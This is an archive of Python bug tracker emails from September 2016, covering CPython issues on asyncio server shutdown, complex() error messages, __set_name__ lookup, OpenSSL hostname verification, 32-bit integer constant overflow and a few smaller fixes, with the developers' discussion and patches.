status: open
title: Wrong return value type in the doc of PyMapping_Keys/Values/Items
versions: Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44752/mapping_doc.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28211>
_______________________________________

From report at bugs.python.org  Tue Sep 20 05:10:08 2016
From: report at bugs.python.org (=?utf-8?b?0JrQvtC90YHRgtCw0L3RgtC40L0g0JLQvtC70LrQvtCy?=)
Date: Tue, 20 Sep 2016 09:10:08 +0000
Subject: [issue28212] Closing server in asyncio is not efficient
Message-ID: <1474362608.68.0.912694843367.issue28212@psf.upfronthosting.co.za>


New submission from ?????????? ??????:

When you close asyncio socket server it closes all connection sockets, remove its readers and do "cancel" for readers. Problem is that, that after this reader tasks are leaved alone in "cancelling" state. They wouldn`t be really cancelled, because they need a loop step for that. But they are not in loop now(they suggest execution throught selector, but they not presented there after removal). Cancelling step woldn`t be done and tasks wouldn`t be really finished, and no finishing actions can be done.
I think that It is good idea such tasks to "ready" queue, so they can be executed in normal task way after removing from selector.

----------
components: asyncio
messages: 277019
nosy: gvanrossum, yselivanov, ?????????? ??????
priority: normal
severity: normal
status: open
title: Closing server in asyncio is not efficient
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28212>
_______________________________________

From report at bugs.python.org  Tue Sep 20 05:21:57 2016
From: report at bugs.python.org (=?utf-8?b?0JrQvtC90YHRgtCw0L3RgtC40L0g0JLQvtC70LrQvtCy?=)
Date: Tue, 20 Sep 2016 09:21:57 +0000
Subject: [issue28213] asyncio SSLProtocol _app_transport is private
Message-ID: <1474363317.54.0.62853026596.issue28213@psf.upfronthosting.co.za>


New submission from ?????????? ??????:

Seems that this field must not be private(or must have read-only property) as it is supposed to use outside of class.

I catched that, when implemented STARTTLS smtp process, when you must start SSL connection over existing socket connection. Currently it is not hard, its easy to add SSL layer as loop do:

self._tls_protocol = sslproto.SSLProtocol()
socket_transport = self.transport
socket_transport._protocol = self._tls_protocol
self.transport = self._tls_protocol._app_transport
self._tls_protocol.connection_made(socket_transport)

But here you must access to private property "app_transport". It must be public because its purpose to public "result" of SSL layer implementation. 

>From class BaseSelectorEventLoop:

def _make_ssl_transport(...):
    ...
    return ssl_protocol._app_transport

----------
components: asyncio
messages: 277020
nosy: gvanrossum, yselivanov, ?????????? ??????
priority: normal
severity: normal
status: open
title: asyncio SSLProtocol _app_transport is private
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28213>
_______________________________________

From report at bugs.python.org  Tue Sep 20 06:30:37 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 20 Sep 2016 10:30:37 +0000
Subject: [issue28211] Wrong return value type in the doc of
 PyMapping_Keys/Values/Items
In-Reply-To: <1474361846.96.0.641386769432.issue28211@psf.upfronthosting.co.za>
Message-ID: <1474367437.74.0.728741851117.issue28211@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Hmm, the documentation was changed in issue25909, but seems I was wrong. Since PyDict_Items() returns a list, but not a dict view, PyMapping_Items() can return only a list or a tuple.

----------
nosy: +martin.panter, mine0901, orsenthil, python-dev, r.david.murray, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28211>
_______________________________________

From report at bugs.python.org  Tue Sep 20 08:03:09 2016
From: report at bugs.python.org (Soumya Sharma)
Date: Tue, 20 Sep 2016 12:03:09 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
In-Reply-To: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>
Message-ID: <1474372989.66.0.695899044743.issue28203@psf.upfronthosting.co.za>


Soumya Sharma added the comment:

Changed error message to:

>>> complex({1:2},1)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: complex() first arg must be a string or a number, not 'dict'

>>> complex(1j, {1: 2})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: complex() second arg must be a number, not 'dict'

Added tests to check the error raised.

----------
Added file: http://bugs.python.org/file44753/Issue28203#2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Tue Sep 20 08:04:17 2016
From: report at bugs.python.org (Soumya Sharma)
Date: Tue, 20 Sep 2016 12:04:17 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
In-Reply-To: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>
Message-ID: <1474373057.27.0.735921562569.issue28203@psf.upfronthosting.co.za>


Changes by Soumya Sharma <soummyaah at gmail.com>:


Removed file: http://bugs.python.org/file44753/Issue28203#2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Tue Sep 20 08:05:01 2016
From: report at bugs.python.org (Soumya Sharma)
Date: Tue, 20 Sep 2016 12:05:01 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
In-Reply-To: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>
Message-ID: <1474373101.56.0.91806062656.issue28203@psf.upfronthosting.co.za>


Soumya Sharma added the comment:

Apologies. This is the correct file.

----------
Added file: http://bugs.python.org/file44754/Issue28203#3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Tue Sep 20 08:19:02 2016
From: report at bugs.python.org (Tom Christie)
Date: Tue, 20 Sep 2016 12:19:02 +0000
Subject: [issue1043134] Add preferred extensions for MIME types
Message-ID: <1474373942.65.0.32550115033.issue1043134@psf.upfronthosting.co.za>


Tom Christie added the comment:

Confirming that I've also bumped into this for Python 3.5.

A docs update would seem to be the lowest-cost option to start with.

Right now `mimetypes.guess_extension()` isn't terribly useful, and it'd be better to at least know that upfront.

----------
nosy: +Tom.Christie

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1043134>
_______________________________________

From report at bugs.python.org  Tue Sep 20 08:32:13 2016
From: report at bugs.python.org (Soumya Sharma)
Date: Tue, 20 Sep 2016 12:32:13 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
In-Reply-To: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>
Message-ID: <1474374733.06.0.125040137529.issue28203@psf.upfronthosting.co.za>


Soumya Sharma added the comment:

Squashed the commits for better readability.
Also, change required in Python 3.4 as well

----------
versions: +Python 3.4
Added file: http://bugs.python.org/file44755/Issue28203#4.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Tue Sep 20 08:37:13 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 20 Sep 2016 12:37:13 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
In-Reply-To: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>
Message-ID: <1474375033.81.0.864652391981.issue28203@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the patch. We can't fix this in 3.4 because it's in security-fix-only mode: https://docs.python.org/devguide/index.html#status-of-python-branches

----------
versions:  -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Tue Sep 20 08:38:42 2016
From: report at bugs.python.org (Tim Graham)
Date: Tue, 20 Sep 2016 12:38:42 +0000
Subject: [issue28214] Improve exception reporting for problematic __set_name__
 attributes
Message-ID: <1474375122.62.0.719507311947.issue28214@psf.upfronthosting.co.za>


New submission from Tim Graham:

As requested by Nick [0], this is a usability issue against CPython 3.6 to provide a better chained TypeError in this case:

class _TokenType(tuple):
    parent = None

    def __getattr__(self, name):
        new = _TokenType(self + (name,))
        setattr(self, name, new)
        new.parent = self
        return new

Token = _TokenType()

Keyword = Token.Keyword

class KeywordCaseFilter(object):
    ttype = Keyword


Traceback (most recent call last):
  File "test.py", line 14, in <module>
    class KeywordCaseFilter(object):
TypeError: '_TokenType' object is not callable

The exception should report the specific object with the problematic __set_name__ attribute (rather than just passing along the underlying exception), as well as supporting __set_name__ = None to explicitly disable further lookup processing.

Follow up to #27366.

[0] https://github.com/andialbrecht/sqlparse/issues/286#issuecomment-248208900

----------
components: Interpreter Core
messages: 277027
nosy: Tim.Graham, ncoghlan
priority: normal
severity: normal
status: open
title: Improve exception reporting for problematic __set_name__ attributes
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28214>
_______________________________________

From report at bugs.python.org  Tue Sep 20 09:48:37 2016
From: report at bugs.python.org (Tim Graham)
Date: Tue, 20 Sep 2016 13:48:37 +0000
Subject: [issue28210] argparse with subcommands difference in python 2.7 / 3.5
In-Reply-To: <1474361034.47.0.927422929015.issue28210@psf.upfronthosting.co.za>
Message-ID: <1474379317.42.0.164405762507.issue28210@psf.upfronthosting.co.za>


Tim Graham added the comment:

The behavior change is from #10424. Do you believe the new behavior is incorrect?

----------
nosy: +Tim.Graham

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28210>
_______________________________________

From report at bugs.python.org  Tue Sep 20 10:50:13 2016
From: report at bugs.python.org (R. David Murray)
Date: Tue, 20 Sep 2016 14:50:13 +0000
Subject: [issue28212] Closing server in asyncio is not efficient
In-Reply-To: <1474362608.68.0.912694843367.issue28212@psf.upfronthosting.co.za>
Message-ID: <1474383013.2.0.642234377281.issue28212@psf.upfronthosting.co.za>


R. David Murray added the comment:

You have to call wait_closed to complete the shutdown.

This should probably be mentioned directly in the socket server docs (at least in the examples) (assuming I'm not wrong...but I'm pretty sure I'm right) rather than by implicit reference to Server via the create_server comment.

----------
assignee:  -> docs at python
components: +Documentation
nosy: +docs at python, r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28212>
_______________________________________

From report at bugs.python.org  Tue Sep 20 10:54:13 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Tue, 20 Sep 2016 14:54:13 +0000
Subject: [issue28182] Expose OpenSSL verification results in SSLError
In-Reply-To: <1474038403.65.0.643451535386.issue28182@psf.upfronthosting.co.za>
Message-ID: <1474383253.97.0.100810470395.issue28182@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

With this change: (tested with OpenSSL git-master)

@@ -632,20 +651,22 @@ newPySSLSocket(PySSLContext *sslctx, PyS
         SSL_set_bio(self->ssl, inbio->bio, outbio->bio);
     }
     mode = SSL_MODE_ACCEPT_MOVING_WRITE_BUFFER;
 #ifdef SSL_MODE_AUTO_RETRY
     mode |= SSL_MODE_AUTO_RETRY;
 #endif
     SSL_set_mode(self->ssl, mode);
 
+    if (server_hostname != NULL) {
 #if HAVE_SNI
-    if (server_hostname != NULL)
         SSL_set_tlsext_host_name(self->ssl, server_hostname);
 #endif
+        SSL_set1_host(self->ssl, server_hostname);
+    }
 
     /* If the socket is in non-blocking mode or timeout mode, set the BIO
      * to non-blocking mode (blocking is the default)
      */
     if (sock && sock->sock_timeout >= 0) {
         BIO_set_nbio(SSL_get_rbio(self->ssl), 1);
         BIO_set_nbio(SSL_get_wbio(self->ssl), 1);
     }

When connecting to https://wrong.host.badssl.com/, the error is:
ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: Hostname mismatch (_ssl.c:768)

With this change in mind, an idea is to drop the Python implementation of match_hostname and rely on OpenSSL's checking mechanism (`do_x509_check`). As a result:

* ssl.CertificateError can be either an alias of ssl.SSLCertVerificationError or a subclass of it
* When verify_result is X509_V_ERR_HOSTNAME_MISMATCH, the error message is formatted with more information following the current approach in `match_hostname` ("hostname XXX doesn't match YYY...")

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28182>
_______________________________________

From report at bugs.python.org  Tue Sep 20 11:06:57 2016
From: report at bugs.python.org (=?utf-8?b?0JrQvtC90YHRgtCw0L3RgtC40L0g0JLQvtC70LrQvtCy?=)
Date: Tue, 20 Sep 2016 15:06:57 +0000
Subject: [issue28212] Closing server in asyncio is not efficient
In-Reply-To: <1474383013.2.0.642234377281.issue28212@psf.upfronthosting.co.za>
Message-ID: <CAFgzoce-R_oGVRY6r9Mq+phGU5DpA9quqMrftoXTjx6gq_4jDA@mail.gmail.com>


?????????? ?????? added the comment:

Thats not a thing I talking about. But thanks for "wait_closed", I will be
use it in future )

Im talking about reading tasks.When reader removed from selector, there is
reading task for it. Loop do "cancel" for it, but it not really cancelling
task. Its only marking task for be cancelled on next loop step. It must
raise Cancel exception, so task may do corresponding actions inside it (for
exemple try..except Cancel). But it will not happen, because there will be
no next step - task removed from selector and now is missed from loop. It
will freese in "cancelling" state forever if protocol implementation
wouldn`t take care about it itself. Some protocol implementations make
"_step" for such tasks manually to loop them for correct finishing, someone
makes "set_result(None)", but its all looks bad.
Seems it will be better put it in loop after removing from selector, so it
will go "cancelling way" itself as every task do.

2016-09-20 17:50 GMT+03:00 R. David Murray <report at bugs.python.org>:

>
> R. David Murray added the comment:
>
> You have to call wait_closed to complete the shutdown.
>
> This should probably be mentioned directly in the socket server docs (at
> least in the examples) (assuming I'm not wrong...but I'm pretty sure I'm
> right) rather than by implicit reference to Server via the create_server
> comment.
>
> ----------
> assignee:  -> docs at python
> components: +Documentation
> nosy: +docs at python, r.david.murray
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue28212>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28212>
_______________________________________

From report at bugs.python.org  Tue Sep 20 11:12:26 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Tue, 20 Sep 2016 15:12:26 +0000
Subject: [issue28212] Closing server in asyncio is not efficient
In-Reply-To: <CAFgzoce-R_oGVRY6r9Mq+phGU5DpA9quqMrftoXTjx6gq_4jDA@mail.gmail.com>
Message-ID: <CAP7+vJ+Jah5xhvrVghyz=S+KqOfJQ000PhtjeE=xsV7BSeDcUQ@mail.gmail.com>


Guido van Rossum added the comment:

Can you please supply a complete example?

--Guido (mobile)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28212>
_______________________________________

From report at bugs.python.org  Tue Sep 20 11:12:55 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 20 Sep 2016 15:12:55 +0000
Subject: [issue28182] Expose OpenSSL verification results in SSLError
In-Reply-To: <1474038403.65.0.643451535386.issue28182@psf.upfronthosting.co.za>
Message-ID: <1474384375.68.0.279518652757.issue28182@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Yes, I'm planning to use the feature in 3.7. First I have to finish my PEP and get consents that I can drop support for OpenSSL 1.0.1 and earlier. We still support older versions but the feature is only available in 1.0.2+. I also need to come up with a solution to check IP addresses, too. It requires a different function.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28182>
_______________________________________

From report at bugs.python.org  Tue Sep 20 11:15:49 2016
From: report at bugs.python.org (=?utf-8?b?0JrQvtC90YHRgtCw0L3RgtC40L0g0JLQvtC70LrQvtCy?=)
Date: Tue, 20 Sep 2016 15:15:49 +0000
Subject: [issue28212] Closing server in asyncio is not efficient
In-Reply-To: <CAP7+vJ+Jah5xhvrVghyz=S+KqOfJQ000PhtjeE=xsV7BSeDcUQ@mail.gmail.com>
Message-ID: <CAFgzoccQ+Q8K39QmXdYgaS2g2=gq5Me5nK2uv7w4AjYbgs7J4g@mail.gmail.com>


?????????? ?????? added the comment:

Yes? may be a in a hour,

2016-09-20 18:12 GMT+03:00 Guido van Rossum <report at bugs.python.org>:

>
> Guido van Rossum added the comment:
>
> Can you please supply a complete example?
>
> --Guido (mobile)
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue28212>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28212>
_______________________________________

From report at bugs.python.org  Tue Sep 20 11:24:59 2016
From: report at bugs.python.org (Tal Einat)
Date: Tue, 20 Sep 2016 15:24:59 +0000
Subject: [issue24416] Return a namedtuple from date.isocalendar()
In-Reply-To: <1433853440.83.0.506944331138.issue24416@psf.upfronthosting.co.za>
Message-ID: <1474385099.69.0.00583064353011.issue24416@psf.upfronthosting.co.za>


Tal Einat added the comment:

Regarding the name "IsoCalendarDate", see for example this question on Stack Overflow[1] where both of the leading answers suggest beginning with "Iso" or "iso" rather than "ISO". However, taking a look at the relatively new module urllib.request[2], it uses names such as "HTTPHandler" rather than "HttpHandler". I'll leave this up to someone more knowledgeable about the conventions to settle.

.. [1]: http://stackoverflow.com/questions/15526107/acronyms-in-camelcase
.. [2]: https://docs.python.org/3.5/library/urllib.request.html#module-urllib.request

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24416>
_______________________________________

From report at bugs.python.org  Tue Sep 20 11:28:39 2016
From: report at bugs.python.org (Kyle Altendorf)
Date: Tue, 20 Sep 2016 15:28:39 +0000
Subject: [issue28215] PyModule_AddIntConstant() wraps >=2^32 values when long
 is 4 bytes
Message-ID: <1474385319.74.0.546349288583.issue28215@psf.upfronthosting.co.za>


New submission from Kyle Altendorf:

I am cross compiling Python 3.5.2 for use on a 32-bit ARM processor with Linux.  I use socket.CAN_EFF_FLAG and noticed that it is negative on the target despite being positive on my host (64-bit Intel Linux).

  Host:

altendky at tp:~$ uname -a
Linux tp 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
altendky at tp:~$ python3 --version
Python 3.5.2
altendky at tp:~$ python3 -c 'import socket; print(socket.CAN_EFF_FLAG)'
2147483648

  ^^ Is expected


  Target:

root at rosi ~$ uname -a
Linux rosi 3.0.101-rt130-opusa3-2.1.0-2 #1 PREEMPT Tue Apr 12 13:49:26 CEST 2016 armv6l GNU/Linux
root at rosi ~$ /opt/epc/bin/python3 --version
Python 3.5.2
root at rosi ~$ /opt/epc/bin/python3 -c 'import socket; print(socket.CAN_EFF_FLAG)'
-2147483648

  ^^ Is not expected to be negative


  Only CAN_EFF_FLAG reference in my source used to cross build Python:

Modules/socketmodule.c:    PyModule_AddIntMacro(m, CAN_EFF_FLAG);


  Definition in cross compiler include:

altendky at tp:/opt/freescale/usr/local/gcc-4.6.2-glibc-2.13-linaro-multilib-2011.12/fsl-linaro-toolchain/arm-fsl-linux-gnueabi/multi-libs/default/usr/include$ grep -r CAN_EFF_FLAG
linux/can.h:#define CAN_EFF_FLAG 0x80000000U /* EFF/SFF is set in the MSB */


  For reference, here it is on the host system (looks the same to me):

altendky at tp:/usr/include$ grep -r CAN_EFF_FLAG
linux/can.h:#define CAN_EFF_FLAG 0x80000000U /* EFF/SFF is set in the MSB */


  But perhaps this `long` type for the value is the issue?  If signed and only 4-bytes as is the case on my target then this will misinterpret the 0x80000000U literal resulting in the above observed -2147483648.

PyModule_AddIntConstant(PyObject *m, const char *name, long value)

  On my target system, printf("%d", sizeof(long)) yields 4.

  For now I just work around it in my application by reassigning it to be it's absolute value.

socket.CAN_EFF_FLAG = abs(socket.CAN_EFF_FLAG)

----------
messages: 277036
nosy: altendky
priority: normal
severity: normal
status: open
title: PyModule_AddIntConstant() wraps >=2^32 values when long is 4 bytes
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28215>
_______________________________________

From report at bugs.python.org  Tue Sep 20 11:45:12 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Tue, 20 Sep 2016 15:45:12 +0000
Subject: [issue28214] Improve exception reporting for problematic __set_name__
 attributes
In-Reply-To: <1474375122.62.0.719507311947.issue28214@psf.upfronthosting.co.za>
Message-ID: <1474386312.93.0.0361366354725.issue28214@psf.upfronthosting.co.za>


Changes by Nick Coghlan <ncoghlan at gmail.com>:


----------
nosy: +Martin Teichmann, Martin.Teichmann
stage:  -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28214>
_______________________________________

From report at bugs.python.org  Tue Sep 20 11:46:41 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Tue, 20 Sep 2016 15:46:41 +0000
Subject: [issue28182] Expose OpenSSL verification results in SSLError
In-Reply-To: <1474038403.65.0.643451535386.issue28182@psf.upfronthosting.co.za>
Message-ID: <1474386401.69.0.302776779072.issue28182@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

That's great. OpenSSL plans to drop 1.0.1 branch support after 2016/12/31. [1] I guess it's OK to drop 1.0.1 support in 3.7.

Thanks for constantly improving SSL/TLS support in CPython!

[1] https://www.openssl.org/source/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28182>
_______________________________________

From report at bugs.python.org  Tue Sep 20 11:51:41 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Tue, 20 Sep 2016 15:51:41 +0000
Subject: [issue28214] Improve exception reporting for problematic __set_name__
 attributes
In-Reply-To: <1474375122.62.0.719507311947.issue28214@psf.upfronthosting.co.za>
Message-ID: <1474386701.35.0.943526914025.issue28214@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

The information we want to include in the chained exception:

1. The name of the offending attribute (since the traceback will point to the class header, not to the assignment)
2. The repr of the offending attribute (since the innner exception will refer to the return value from "attr.__set_name__" rather then the value assigned to the attribute)

The other idea I mentioned (allowing "__set_name__ = None" to prevent falling back to "__getattr__") needs a bit more consideration, as I don't quite recall where we're currently at in terms of expanding that idiom beyond "__hash__" and to the other one-shot ABCs.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28214>
_______________________________________

From report at bugs.python.org  Tue Sep 20 11:52:19 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 20 Sep 2016 15:52:19 +0000
Subject: [issue28182] Expose OpenSSL verification results in SSLError
In-Reply-To: <1474038403.65.0.643451535386.issue28182@psf.upfronthosting.co.za>
Message-ID: <1474386739.17.0.517642084136.issue28182@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I'm familiar with the release cycles of OpenSSL. In fact I want to tie support for OpenSSL versions to the release cycle of OpenSSL. Python core dev is a bit ... special. :) I can't just drop support. Some developers are opposing my plans and want to keep support for OpenSSL 1.0.1 and earlier. 

Enjoy this mail thread: https://mail.python.org/pipermail/python-dev/2016-August/145907.html

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28182>
_______________________________________

From report at bugs.python.org  Tue Sep 20 12:03:46 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 20 Sep 2016 16:03:46 +0000
Subject: [issue28214] Improve exception reporting for problematic __set_name__
 attributes
In-Reply-To: <1474375122.62.0.719507311947.issue28214@psf.upfronthosting.co.za>
Message-ID: <1474387426.41.0.690313857175.issue28214@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Maybe there is a bug in using __set_name__. Usually special methods are looked in class dict. But __set_name__ is looked in instance dict. This causes to invoking __getattr__.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28214>
_______________________________________

From report at bugs.python.org  Tue Sep 20 12:33:13 2016
From: report at bugs.python.org (=?utf-8?b?0JrQvtC90YHRgtCw0L3RgtC40L0g0JLQvtC70LrQvtCy?=)
Date: Tue, 20 Sep 2016 16:33:13 +0000
Subject: [issue28212] Closing server in asyncio is not efficient
In-Reply-To: <1474362608.68.0.912694843367.issue28212@psf.upfronthosting.co.za>
Message-ID: <1474389193.11.0.536487385549.issue28212@psf.upfronthosting.co.za>


?????????? ?????? added the comment:

Attached file with test example. There in "ping" task "except" and "finally" sections never called as expected (but code inside "try" will work).
Server is closed while client connection is active, and it just removes reading task from loop. You can still find it through Task.all_tasks(), but it is weakref array. So, sometime later GC will simply delete this task and no finalization will be performed.

----------
Added file: http://bugs.python.org/file44756/task_example.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28212>
_______________________________________

From report at bugs.python.org  Tue Sep 20 12:50:03 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Tue, 20 Sep 2016 16:50:03 +0000
Subject: [issue28182] Expose OpenSSL verification results in SSLError
In-Reply-To: <1474038403.65.0.643451535386.issue28182@psf.upfronthosting.co.za>
Message-ID: <1474390203.75.0.257259565243.issue28182@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

> I'm familiar with the release cycles of OpenSSL.

Oh I shouldn't say something trivial :)

I know that thread. Hope I can help something on persuading others.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28182>
_______________________________________

From report at bugs.python.org  Tue Sep 20 12:58:14 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 20 Sep 2016 16:58:14 +0000
Subject: [issue28214] Improve exception reporting for problematic __set_name__
 attributes
In-Reply-To: <1474375122.62.0.719507311947.issue28214@psf.upfronthosting.co.za>
Message-ID: <1474390694.58.0.403849217403.issue28214@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Proposed patch makes class creation code not looking up the __set_name__ attribute in instance dict.

----------
keywords: +patch
stage: needs patch -> patch review
Added file: http://bugs.python.org/file44757/lookup___set_name__.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28214>
_______________________________________

From report at bugs.python.org  Tue Sep 20 13:00:35 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 20 Sep 2016 17:00:35 +0000
Subject: [issue28215] PyModule_AddIntConstant() wraps >=2^32 values when long
 is 4 bytes
In-Reply-To: <1474385319.74.0.546349288583.issue28215@psf.upfronthosting.co.za>
Message-ID: <1474390835.8.0.318141908132.issue28215@psf.upfronthosting.co.za>


Christian Heimes added the comment:

The constant is an unsigned long but PyModule_AddIntConstant() takes a signed long. You have to write your own function that uses PyLong_FromUnsignedLong() and PyModule_AddObject().

Do you get a compiler warning because 0x80000000U is larger than (1<<31)-1?

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28215>
_______________________________________

From report at bugs.python.org  Tue Sep 20 13:04:23 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 20 Sep 2016 17:04:23 +0000
Subject: [issue28214] Improve exception reporting for problematic __set_name__
 attributes
In-Reply-To: <1474375122.62.0.719507311947.issue28214@psf.upfronthosting.co.za>
Message-ID: <1474391063.92.0.0366381283289.issue28214@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

In any case I suggest to raise an AttributeError for dunder names in __getattr__ implementation. Otherwise you will encounter similar issue with pickling.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28214>
_______________________________________

From report at bugs.python.org  Tue Sep 20 13:06:40 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 20 Sep 2016 17:06:40 +0000
Subject: [issue28216] micro optimization for import_all_from
Message-ID: <1474391200.85.0.926486435821.issue28216@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

Since PyMapping_Keys always return a list or tuple and most __all__s are list (all in stdlib), I think we can avoid calling PySequence_GetItem for every key and use PySequence_Fast* APIs instead. This doesn't help much since other operations involved are expensive.

With patch:

[bin]$ ./python3 -m perf timeit -s 'import _ast; code=compile("from _ast import *", "<string>", "exec")' 'exec(code)'
....................
Median +- std dev: 11.3 us +- 0.3 us
[bin]$ ./python3 -m perf timeit -s 'import zipfile; code=compile("from zipfile import *", "<string>", "exec")' 'exec(code)'
....................
Median +- std dev: 2.98 us +- 0.04 us

Without patch:

[bin]$ ./python3 -m perf timeit -s 'import _ast; code=compile("from _ast import *", "<string>", "exec")' 'exec(code)'
....................
Median +- std dev: 12.5 us +- 0.3 us
./python3 -m perf timeit -s 'import zipfile; code=compile("from zipfile import *", "<string>", "exec")' 'exec(code)'
....................
Median +- std dev: 3.09 us +- 0.06 us

----------
components: Interpreter Core
files: import_all_from.patch
keywords: patch
messages: 277046
nosy: brett.cannon, haypo, serhiy.storchaka, xiang.zhang
priority: normal
severity: normal
stage: patch review
status: open
title: micro optimization for import_all_from
type: enhancement
versions: Python 3.7
Added file: http://bugs.python.org/file44758/import_all_from.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28216>
_______________________________________

From report at bugs.python.org  Tue Sep 20 13:09:27 2016
From: report at bugs.python.org (INADA Naoki)
Date: Tue, 20 Sep 2016 17:09:27 +0000
Subject: [issue28201] dict: perturb shift should be done when first conflict
In-Reply-To: <1474259113.17.0.570923386086.issue28201@psf.upfronthosting.co.za>
Message-ID: <1474391367.17.0.250607597681.issue28201@psf.upfronthosting.co.za>


Changes by INADA Naoki <songofacandy at gmail.com>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44759/dict-perturb-shift.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28201>
_______________________________________

From report at bugs.python.org  Tue Sep 20 13:11:07 2016
From: report at bugs.python.org (=?utf-8?b?RMSBdmlz?=)
Date: Tue, 20 Sep 2016 17:11:07 +0000
Subject: [issue1602] windows console doesn't print or input Unicode
In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za>
Message-ID: <1474391467.19.0.122942640525.issue1602@psf.upfronthosting.co.za>


D?vis added the comment:

Steve Dower (steve.dower)
> [...]
> Anything else requires a real console with a real person with a real keyboard.

FYI, not really, it is possible to fully automatically test console's output/input using WinAPI functions like WriteConsoleInput, GetConsoleScreenBufferInfo, ReadConsoleOutputCharacter

